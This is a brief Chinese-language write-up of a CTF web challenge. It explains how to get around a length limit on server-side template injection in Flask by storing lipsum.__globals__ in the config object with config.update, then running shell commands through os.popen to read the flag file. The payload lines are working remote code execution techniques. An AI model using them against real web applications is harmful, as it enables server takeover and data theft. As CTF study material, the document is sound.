单身杯2 web
签到·好玩的PHP
一道链子题比较简单懒得做了!
ezzz_ssti
一道ssti长度限制的题目,个人觉得这道题目比较有意思!
利用config绕过payload长度限制
config是flask框架里面的一个内置类用来保存配置信息,它本身是一个字典的子类,所以可以像字典一样操作它,我们可以利用update()方法+关键字更新字典!
d = {'a': 1, 'b': 2, 'c': 3}
print(d)
d.update(d=4)
print(d) {'a': 1, 'b': 2, 'c': 3, 'd': 4}
这里的思想就是将要打的payload储存通过短的索引储存到config里面,然后再通过config访问这个索引达到减少长度限制的效果!
要构造的payload:{{lipsum.__globals__.os.popen('ls').read()}}
开始构造:
{%set x=config.update(s=config.update)%}
{%set x=config.s(x=lipsum.__globals__)%}
{{config.x.os.popen('nl /f*').read()}}
easy!